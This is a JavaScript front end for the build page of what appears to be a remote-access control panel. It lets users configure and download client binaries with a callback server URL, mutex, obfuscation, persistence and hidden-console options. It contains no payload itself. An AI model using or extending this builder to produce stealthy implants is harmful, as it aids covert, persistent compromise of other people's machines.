const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildResults = document.getElementById("build-results"); const buildFilesDiv = document.getElementById("build-files"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); function getDefaultServerUrlPlaceholder(isRawList) { const isHttps = window.location.protocol === "https:"; const host = window.location.host; if (isRawList) { return `${isHttps ? "https" : "http"}://${host}/list.txt`; } return `${isHttps ? "wss" : "ws"}://${host}`; } function updateServerUrlPlaceholder() { if (!serverUrlInput) return; const isRaw = rawServerListCheckbox?.checked ?? false; serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); } let isBuilding = false; init(); if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); if (isRaw) { if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); } else if (current.startsWith("ws://")) { serverUrlInput.value = "http://" + current.slice("ws://".length); } serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(true); } else { if (current.startsWith("https://")) { serverUrlInput.value = "wss://" + current.slice("https://".length); } else if (current.startsWith("http://")) { serverUrlInput.value = "ws://" + current.slice("http://".length); } serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); } }); } async function init() { try { updateServerUrlPlaceholder(); const res = await fetch("/api/auth/me", { credentials: "include", }); if (!res.ok) { window.location.href = "/login.html"; return; } const data = await res.json(); usernameDisplay.textContent = data.username; const roleBadges = { admin: 'Admin', operator: 'Operator', viewer: 'Viewer', }; if (roleBadges[data.role]) { roleBadge.innerHTML = roleBadges[data.role]; } else { roleBadge.textContent = data.role || ""; } if (data.role === "admin") { roleBadge.classList.add( "bg-purple-900/50", "text-purple-300", "border", "border-purple-800", ); } else if (data.role === "operator") { roleBadge.classList.add( "bg-blue-900/50", "text-blue-300", "border", "border-blue-800", ); } else { roleBadge.classList.add( "bg-slate-700", "text-slate-300", "border", "border-slate-600", ); } if (data.role === "admin") { usersLink.classList.remove("hidden"); pluginsLink?.classList.remove("hidden"); document.getElementById("deploy-link")?.classList.remove("hidden"); } if (data.role === "admin" || data.role === "operator") { buildLink?.classList.remove("hidden"); } if (data.role !== "viewer") { scriptsLink?.classList.remove("hidden"); } if (data.role !== "admin" && data.role !== "operator") { buildBtn.disabled = true; buildBtn.innerHTML = ' Build requires admin/operator role'; } loadSavedBuilds(); } catch (err) { console.error("Failed to fetch user info:", err); window.location.href = "/login.html"; } } if (logoutBtn && !logoutBtn.dataset.boundLogout) { logoutBtn.dataset.boundLogout = "true"; logoutBtn.addEventListener("click", async () => { try { await fetch("/api/logout", { method: "POST", headers: { "Content-Type": "application/json" }, }); } catch (err) { console.error("Logout error:", err); } window.location.href = "/"; }); } form?.addEventListener("submit", async (e) => { e.preventDefault(); if (isBuilding) return; const platformCheckboxes = form.querySelectorAll( 'input[name="platform"]:checked', ); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); if (platforms.length === 0) { alert("Please select at least one platform to build"); return; } const serverUrl = form.querySelector("#server-url").value.trim(); const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const mutex = form.querySelector("#mutex")?.value.trim() || ""; const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const stripDebug = form.querySelector('input[name="strip-debug"]').checked; const disableCgo = form.querySelector('input[name="disable-cgo"]').checked; const obfuscate = form.querySelector('input[name="obfuscate"]').checked; const enablePersistence = form.querySelector( 'input[name="enable-persistence"]', ).checked; const hideConsole = form.querySelector( 'input[name="hide-console"]', ).checked; const noPrinting = form.querySelector( 'input[name="no-printing"]', ).checked; const buildConfig = { platforms, serverUrl: serverUrl || undefined, rawServerList, mutex: disableMutex ? "" : mutex || undefined, disableMutex, stripDebug, disableCgo, obfuscate, enablePersistence, hideConsole, noPrinting, }; await startBuild(buildConfig); }); async function startBuild(config) { isBuilding = true; buildBtn.disabled = true; buildBtn.innerHTML = ' Building...'; buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; buildResults.classList.add("hidden"); buildFilesDiv.innerHTML = ""; buildOutputDiv.innerHTML = ""; addBuildOutput("Starting build process...\n", "info"); try { const res = await fetch("/api/build/start", { method: "POST", headers: { "Content-Type": "application/json", }, credentials: "include", body: JSON.stringify(config), }); if (!res.ok) { const error = await res.json(); throw new Error(error.error || "Build failed to start"); } const data = await res.json(); const buildId = data.buildId; addBuildOutput(`Build ID: ${buildId}\n`, "info"); addBuildOutput( `Building for platforms: ${config.platforms.join(", ")}\n\n`, "info", ); await streamBuildOutput(buildId, config); } catch (err) { addBuildOutput(`\nERROR: ${err.message}\n`, "error"); if (!config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } buildStatusText.textContent = "Build failed"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; } finally { isBuilding = false; buildBtn.disabled = false; buildBtn.innerHTML = ' Start Build'; } } async function streamBuildOutput(buildId, config = {}) { const res = await fetch(`/api/build/${buildId}/stream`, { credentials: "include", }); if (!res.ok) { throw new Error("Failed to connect to build stream"); } const reader = res.body.getReader(); const decoder = new TextDecoder(); let buffer = ""; try { while (true) { const { done, value } = await reader.read(); if (done) break; buffer += decoder.decode(value, { stream: true }); const lines = buffer.split("\n"); buffer = lines.pop(); for (const line of lines) { if (!line.trim()) continue; if (line.startsWith("data: ")) { const data = JSON.parse(line.substring(6)); if (data.type === "output") { addBuildOutput(data.text, data.level || "info"); } else if (data.type === "status") { buildStatusText.textContent = data.text; } else if (data.type === "complete") { buildStatusText.textContent = data.success ? "Build completed successfully!" : "Build failed"; buildStatus.querySelector("div").className = data.success ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60" : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = data.success ? "fa-solid fa-circle-check" : "fa-solid fa-circle-xmark"; if (!data.success && !config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } if (data.success && data.files) { const buildData = { id: data.buildId, status: "success", startTime: Date.now(), expiresAt: data.expiresAt, files: data.files, }; saveBuildToStorage(data.buildId, buildData); buildResults.classList.remove("hidden"); displayBuild(buildData); } reader.releaseLock(); return; } else if (data.type === "error") { addBuildOutput(`\nERROR: ${data.error}\n`, "error"); } } } buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight; } } finally { reader.releaseLock(); } } function addBuildOutput(text, level = "info") { const span = document.createElement("span"); span.textContent = text; if (level === "error") { span.className = "text-red-400"; } else if (level === "success") { span.className = "text-green-400"; } else if (level === "warn") { span.className = "text-yellow-400"; } else { span.className = "text-slate-300"; } buildOutputDiv.appendChild(span); } function showBuildFiles(files, buildId, expiresAt) { buildResults.classList.remove("hidden"); buildFilesDiv.innerHTML = ""; const buildInfoDiv = document.createElement("div"); buildInfoDiv.className = "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg"; const infoRow = document.createElement("div"); infoRow.className = "flex items-center justify-between gap-2 text-sm"; const left = document.createElement("div"); left.className = "flex items-center gap-2"; const idIcon = document.createElement("i"); idIcon.className = "fa-solid fa-fingerprint text-slate-400"; const idLabel = document.createElement("span"); idLabel.className = "text-slate-300"; idLabel.textContent = "Build ID:"; const idCode = document.createElement("code"); idCode.className = "text-blue-400 font-mono"; idCode.textContent = buildId; left.appendChild(idIcon); left.appendChild(idLabel); left.appendChild(idCode); const right = document.createElement("div"); right.className = "flex items-center gap-2"; const clockIcon = document.createElement("i"); clockIcon.className = "fa-solid fa-clock text-slate-400"; const expiresLabel = document.createElement("span"); expiresLabel.className = "text-slate-300"; expiresLabel.textContent = "Expires in:"; const timer = document.createElement("span"); timer.id = "expiration-timer"; timer.className = "text-yellow-400 font-medium"; timer.dataset.expires = String(expiresAt); timer.textContent = "Calculating..."; right.appendChild(clockIcon); right.appendChild(expiresLabel); right.appendChild(timer); infoRow.appendChild(left); infoRow.appendChild(right); buildInfoDiv.appendChild(infoRow); buildFilesDiv.appendChild(buildInfoDiv); updateExpirationTimer(); setInterval(updateExpirationTimer, 60000); files.forEach((file) => { const fileDiv = document.createElement("div"); fileDiv.className = "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const fileInfo = document.createElement("div"); fileInfo.className = "flex items-center gap-2"; const fileIcon = document.createElement("i"); fileIcon.className = "fa-solid fa-file-code text-blue-400"; const fileName = document.createElement("span"); fileName.className = "font-medium"; fileName.textContent = file.name; const fileSize = document.createElement("span"); fileSize.className = "text-xs text-slate-500"; fileSize.textContent = formatFileSize(file.size); fileInfo.appendChild(fileIcon); fileInfo.appendChild(fileName); fileInfo.appendChild(fileSize); const downloadBtn = document.createElement("a"); downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`; downloadBtn.className = "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors"; downloadBtn.innerHTML = ' Download'; fileDiv.appendChild(fileInfo); fileDiv.appendChild(downloadBtn); buildFilesDiv.appendChild(fileDiv); }); } function updateExpirationTimer(timerEl, expiresAt) { if (!timerEl) return; const now = Date.now(); const remaining = expiresAt - now; if (remaining <= 0) { timerEl.textContent = "Expired"; timerEl.className = "text-red-400 font-medium"; return; } const days = Math.floor(remaining / (1000 * 60 * 60 * 24)); const hours = Math.floor( (remaining % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60), ); const minutes = Math.floor((remaining % (1000 * 60 * 60)) / (1000 * 60)); if (days > 0) { timerEl.textContent = `${days}d ${hours}h`; } else if (hours > 0) { timerEl.textContent = `${hours}h ${minutes}m`; } else { timerEl.textContent = `${minutes}m`; } if (days >= 3) { timerEl.className = "text-green-400 font-medium"; } else if (days >= 1) { timerEl.className = "text-yellow-400 font-medium"; } else { timerEl.className = "text-orange-400 font-medium"; } } async function deleteBuild(buildId) { if (!confirm("Are you sure you want to delete this build?")) { return; } try { const res = await fetch(`/api/build/${buildId}/delete`, { method: "DELETE", credentials: "include", }); if (!res.ok) { throw new Error("Failed to delete build"); } const buildElement = document.getElementById(`build-${buildId}`); if (buildElement) { buildElement.remove(); } removeBuildFromStorage(buildId); if (buildFilesDiv.children.length === 0) { buildResults.classList.add("hidden"); } } catch (err) { console.error("Failed to delete build:", err); alert("Failed to delete build. Please try again."); } } function formatFileSize(bytes) { if (bytes === 0) return "0 B"; const k = 1024; const sizes = ["B", "KB", "MB", "GB"]; const i = Math.floor(Math.log(bytes) / Math.log(k)); return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i]; } function saveBuildToStorage(buildId, buildData) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); const existingIndex = builds.findIndex((b) => b.id === buildId); if (existingIndex >= 0) { builds[existingIndex] = buildData; } else { builds.push(buildData); } if (builds.length > 20) { builds.splice(0, builds.length - 20); } localStorage.setItem("overlord_builds", JSON.stringify(builds)); } catch (err) { console.error("Failed to save build to localStorage:", err); } } function getBuildFromStorage(buildId) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); return builds.find((b) => b.id === buildId); } catch (err) { console.error("Failed to get build from localStorage:", err); return null; } } function getAllBuildsFromStorage() { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); return builds.sort((a, b) => b.startTime - a.startTime); } catch (err) { console.error("Failed to get builds from localStorage:", err); return []; } } function removeBuildFromStorage(buildId) { try { const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); const filtered = builds.filter((b) => b.id !== buildId); localStorage.setItem("overlord_builds", JSON.stringify(filtered)); } catch (err) { console.error("Failed to remove build from localStorage:", err); } } async function loadSavedBuilds() { try { const res = await fetch("/api/build/list", { credentials: "include", }); if (!res.ok) { console.error("Failed to fetch builds from server"); return; } const data = await res.json(); const builds = data.builds || []; const now = Date.now(); const validBuilds = builds.filter((build) => { if (build.expiresAt && build.expiresAt <= now) { return false; } return true; }); if (validBuilds.length === 0) { return; } buildResults.classList.remove("hidden"); for (const build of validBuilds) { displayBuild(build); saveBuildToStorage(build.id, build); } } catch (err) { console.error("Failed to load builds:", err); const builds = getAllBuildsFromStorage(); const now = Date.now(); const validBuilds = builds.filter((build) => { if (build.expiresAt && build.expiresAt <= now) { removeBuildFromStorage(build.id); return false; } return true; }); if (validBuilds.length > 0) { buildResults.classList.remove("hidden"); validBuilds.forEach((build) => displayBuild(build)); } } } function displayBuild(build) { const buildContainer = document.createElement("div"); buildContainer.className = "build-result-item mb-6 pb-6 border-b border-gray-700 last:border-b-0"; buildContainer.id = `build-${build.id}`; const header = document.createElement("div"); header.className = "flex items-center justify-between mb-3"; const left = document.createElement("div"); left.className = "flex items-center gap-3"; const boxIcon = document.createElement("i"); boxIcon.className = "fa-solid fa-box text-blue-400"; const buildLabel = document.createElement("span"); buildLabel.className = "text-gray-300 font-medium"; buildLabel.textContent = `Build ID: ${build.id.substring(0, 8)}`; const sep = document.createElement("span"); sep.className = "text-gray-500"; sep.textContent = "•"; const startedAt = document.createElement("span"); startedAt.className = "text-sm text-gray-400"; startedAt.textContent = new Date(build.startTime).toLocaleString(); left.appendChild(boxIcon); left.appendChild(buildLabel); left.appendChild(sep); left.appendChild(startedAt); const right = document.createElement("div"); right.className = "flex items-center gap-3"; const timerWrap = document.createElement("div"); timerWrap.className = "flex items-center gap-2"; const clockIcon = document.createElement("i"); clockIcon.className = "fa-solid fa-clock text-gray-400"; const timer = document.createElement("span"); timer.id = `timer-${build.id}`; timer.className = "text-gray-300 font-medium"; timer.textContent = "Loading..."; timerWrap.appendChild(clockIcon); timerWrap.appendChild(timer); const deleteBtn = document.createElement("button"); deleteBtn.id = `delete-btn-${build.id}`; deleteBtn.className = "px-3 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg transition-colors flex items-center gap-2 text-sm"; deleteBtn.title = "Delete build"; const deleteIcon = document.createElement("i"); deleteIcon.className = "fa-solid fa-trash"; const deleteText = document.createElement("span"); deleteText.textContent = "Delete"; deleteBtn.appendChild(deleteIcon); deleteBtn.appendChild(deleteText); deleteBtn.addEventListener("click", () => deleteBuild(build.id)); right.appendChild(timerWrap); right.appendChild(deleteBtn); header.appendChild(left); header.appendChild(right); const filesContainer = document.createElement("div"); filesContainer.id = `files-${build.id}`; filesContainer.className = "space-y-2"; buildContainer.appendChild(header); buildContainer.appendChild(filesContainer); buildFilesDiv.appendChild(buildContainer); showBuildFilesForContainer(build, `files-${build.id}`, `timer-${build.id}`); } function showBuildFilesForContainer(build, containerId, timerId) { const container = document.getElementById(containerId); const timerEl = document.getElementById(timerId); if (!container || !timerEl) return; build.files.forEach((file) => { const fileDiv = document.createElement("div"); fileDiv.className = "flex items-center justify-between bg-gray-700/50 p-4 rounded-lg hover:bg-gray-700 transition-colors"; const fileMeta = document.createElement("div"); fileMeta.className = "flex items-center gap-3"; const fileIcon = document.createElement("i"); fileIcon.className = "fa-solid fa-file text-blue-400"; const fileText = document.createElement("div"); const fileName = document.createElement("div"); fileName.className = "text-white font-medium"; fileName.textContent = file.filename; const filePlatform = document.createElement("div"); filePlatform.className = "text-sm text-gray-400"; filePlatform.textContent = file.platform; fileText.appendChild(fileName); fileText.appendChild(filePlatform); fileMeta.appendChild(fileIcon); fileMeta.appendChild(fileText); const download = document.createElement("a"); download.href = `/api/build/download/${encodeURIComponent(file.filename)}`; download.download = ""; download.className = "px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white rounded-lg transition-colors flex items-center gap-2"; const downloadIcon = document.createElement("i"); downloadIcon.className = "fa-solid fa-download"; const downloadText = document.createElement("span"); downloadText.textContent = "Download"; download.appendChild(downloadIcon); download.appendChild(downloadText); fileDiv.appendChild(fileMeta); fileDiv.appendChild(download); container.appendChild(fileDiv); }); if (build.expiresAt) { updateExpirationTimer(timerEl, build.expiresAt); setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000); } }